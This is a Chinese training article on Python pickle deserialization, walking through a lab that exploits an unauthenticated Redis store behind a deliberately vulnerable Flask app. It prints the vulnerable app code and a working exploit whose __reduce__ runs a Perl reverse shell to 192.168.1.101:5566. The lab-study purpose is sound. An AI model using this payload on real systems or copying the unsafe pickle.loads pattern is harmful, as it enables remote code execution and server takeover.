Py学习  »  Python

使用Python验证并利用Redis未授权漏洞

Ms08067安全实验室 • 1 年前 • 196 次点击  

文章来源|MS08067 Web高级攻防第3期作业

本文作者:huang(Web高级攻防3期学员)

Python序列化与反序列化

原理

Python序列化是将Python对象及其所拥有的层次结构转化为一个字节流的过程,反序列化是将字节流转化回一个对象层次结构。

Python对象序列化模块间的关系

在python中通常使用json、pickle/cPickle以及marshal、shelve等方式进行序列化和反序列化操作。

模块名称描述提供的api
json用于实现Python数据类型与通用(json)字符串之间的转换dumps()、dump()、loads()、load()
pickle/cPickle用于实现Python数据类型与Python特定二进制格式之间的转换。pickle或cPickle两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同。dumps()、dump()、loads()、load()
marshalmarshal负责在Python数值与二进制字节对象之间进行转换的。marshal的存在主要是为了支持 Python 的 .pyc 文件。dumps()、dump()、loads()、load()
shelveshelve模块是一个简单的以k,v结构将内存中的数据通过文件持久化的模块,可以持久化任何pickle可支持的python数据类型 open()

一般pickle是序列化Python对象时的首选。

pickle与json模块的比较

1.JSON 是一个文本序列化格式(它输出 unicode 文本,尽管在大多数时候它会接着以 utf-8 编码),而 pickle 是一个二进制序列化格式;2.JSON 是我们可以直观阅读的,而 pickle 不是;3.JSON是可互操作的,在Python系统之外广泛使用,而pickle则是Python专用的;4.默认情况下,JSON 只能表示 Python 内置类型的子集,不能表示自定义的类;但 pickle 可以表示大量的 Python 数据类型(可以合理使用 Python 的对象内省功能自动地表示大多数类型,复杂情况可以通过实现 specific object APIs 来解决)。5.JSON对一个不信任的JSON进行反序列化的操作本身不会造成任意代码执行漏洞。而pickle 模块并不安全。你只应该对你信任的数据进行反序列化操作。构建恶意的 pickle 数据来在解封时执行任意代码是可以实现的的。下面我们重点讲解pickle模块如何实现反序列化。

Pickle模块序列化与反序列化

pickle序列化与反序列化函数

函数说明
dumps对象反序列化为bytes对象
dump对象反序列化到文件对象,存入文件
loads从bytes对象反序列化
load对象反序列化,从文件中读取数据

与 PHP 序列化相似,Python 序列化也是将对象转换成具有特定格式的字符串(python2)或字节流(python3),以便于传输与存储

python2和python3执行pickle模块

python2执行结果python3执行结果同样的代码,得到的结果完全不同。这就涉及到了PVM,因为它是Python序列化过程和反序列化过程中最根本的东西。具体可参考【https://www.cnblogs.com/wjrblogs/p/14057784.html】

python2执行结果字符的特殊含义如下

符号说明含义
c读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中导入模块及其具体对象,nt->windows,posix->linux
(将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组左括号
t 从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中相当于),与(组合构成一个元组
R将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中标识反序列化时根据reduce中的方式完成反序列化,会避免报错(漏洞点)
S读取引号中的字符串直到换行符处,然后将它压入堆栈代表一个字符串
P后面接一个数字,标识第N块堆栈如p0,p1
.将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。标识结束

python3执行结果字符的特殊含义如下(因为我是用的python是最新的3.10版本,所以默认协议为4.参考链接:https://peps.python.org/pep-3154/, 其他版本协议参考https://blog.csdn.net/m0_65129142/article/details/121972449)

b'\x80\x04\x95\x0f\x00\x00\x00\x00\x00\x00\x00\x8c\x0bhello world\x94.'

| x80 | x04 |              protocol header (2 bytes)    \x80协议头声明 \x04:协议版本
|  OP  |                     FRAME opcode (1 byte)      帧操作码\x95
| MM MM MM MM MM MM MM MM |  frame size (8 bytes, little-endian)      帧大小x0f\x00\x00\x00\x00\x00\x00\x00
| .... |                     first frame contents (M bytes)           数据:\x8c\x0bhello world
.                             结束                            \x94.

Python反序列化与PHP反序列化的区别

(1)PHP在反序列化的过程中必须保证当前作用域下类是存在的,否则无法完成反序列化操作。(2) Python 反序列化不需要,其只要求被反序列化的字符可控即可造成 RCE

python反序列化漏洞利用原理

ptyhon反序列化漏洞出现在 reduce()魔法函数上,这一点和PHP中的__wakeup() 魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。所以容易被进行漏洞利用。官方解释如下:

魔数函数__reduce__(),在构造的过程中有两种构造规则。(1)如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后return ‘str’,那么它就会在当前的作用域中寻找名为str的对象然后返回,否则报错。(2)如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。例如下面代码return (os.system,('whoami',)),_reduce_()时自动调用执行os.system函数,然后元组内的值whoami作为参数,从而达到执行命令或代码的目的。

所以我们可以利用__reduce__()第二种构造规则来执行恶意代码。

漏洞复现

Redis未授权利用

原理及漏洞、redis安装可参考https://www.cnblogs.com/bmjoker/p/9548962.html 当前测试环境需要安装redis服务,并且设置未授权问题。redis.conf文件中将bind 127.0.0.1注释掉,部分版本要将protected-mode yes 修改为protected-mode no。redis以root身份来运行。(普通权限运行也可测试) 启动redis服务

测试反序列化漏洞代码如下:

import redis
from flask import Flask,request,session
import pickle
import random
app = Flask(__name__) #需要安装flask,pip install flask
class Redis:  #定义Redis类,类中有三个方法,connect()方法负责连接redis数据库。注意IP和端口
    @staticmethod
    def connect():
        r = redis.StrictRedis(host='localhost', port=6379, db=0)
        return r
    @staticmethod
    def set_data(r,key,data,ex=None): #连接redis数据库后存值,(key=data)
        r.set(key,pickle.dumps(data),ex)  #在存储数据时先对数据进行序列化
    @staticmethod
    def get_data(r,key):#取值,根据key来取值,并对取出的数据进行反序列化
        data = r.get(key)
        if data is None:
            return None
        return pickle.loads(data)
def getrand():#获取随机字符串
    str='abcdefghijklnmopqrstuvwxyz1234567890'
    count = ''
    for i in range(10):
            index = random.randint(0,35)
            count += str[index]
    return count
@app.route('/',methods=['GET']) #用户请求为:http://127.0.0.1:5000?str=test,服务端获取str值并存入到redis,key是随机字符串,data是test
def hello_world():
    str = request.args.get('str')
    r = Redis.connect()
    rand = getrand()
    Redis.set_data(r,rand,str)
    return rand+':'+str
@app.route('/getcookie')#当用户访问http://127.0.0.1:5000/getcookie时需要提前在浏览器中设置cookie:session=key。注意key是存数据之前随机生成的,读取数据。对序列化的数据进行反序列化
def get_cookie():
    cookie = request.cookies.get('session')
    r = Redis.connect()
    data = Redis.get_data(r,cookie)
    return 'your data:',data
#return cookie
if __name__ == '__main__':
    app.run()

上述代码存储为code.py,运行:python code.py命令,就在5000端口启动简单的服务端访问http://127.0.0.1:5000/?str=huang 即可利用代码中Redis类中set_data()方法往redis服务器中插入str变量huang,并通过getrand()生成随机字符串key

访问redis服务器查看写入的数据情况,redis-cli

可见redis存在未授权漏洞,我们尝试利用Python来利用redis来获取服务器的shell。

通过构造payload 修改session,将session的值修改成可利用的shell,将下列代码保存为code3.py并执行

#!/usr/bin/env python
#encoding:utf-8
import cPickle
import os
import redis
class exp(object):
    def __reduce__(self):
        s = """perl -e 'use Socket;$i="192.168.1.101";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'""" #反弹shell的语句可以替换成其他方式
#192.168.1.100:5566为监听端口,为了反弹shell
        return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
r = redis.Redis(host='127.0.0.1', port=6379, db=0)
r.set("c60kulaool", s) #c60kulaool为生成的session值

重新查看c60kulaool的值,shell成功插入

访问http://127.0.0.1//getcookie 控制台设置cookie:session,命令:document.cookie= ' session=c60kulaool'

在攻击机上启动监听

刷新访问127.0.0.1:5000/getcookie,攻击机上获得shell

参考文档:https://docs.python.org/zh-cn/3/library/pickle.html https://blog.csdn.net/qq_43431158/article/details/108919605 https://blog.csdn.net/m0_65129142/article/details/121972449 https://www.cnblogs.com/crelle/p/13528641.html https://www.sohu.com/a/406114366_472906



—  实验室旗下直播培训课程  —



来和10000+位同学加入MS08067一起学习吧!




Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/135614
 
196 次点击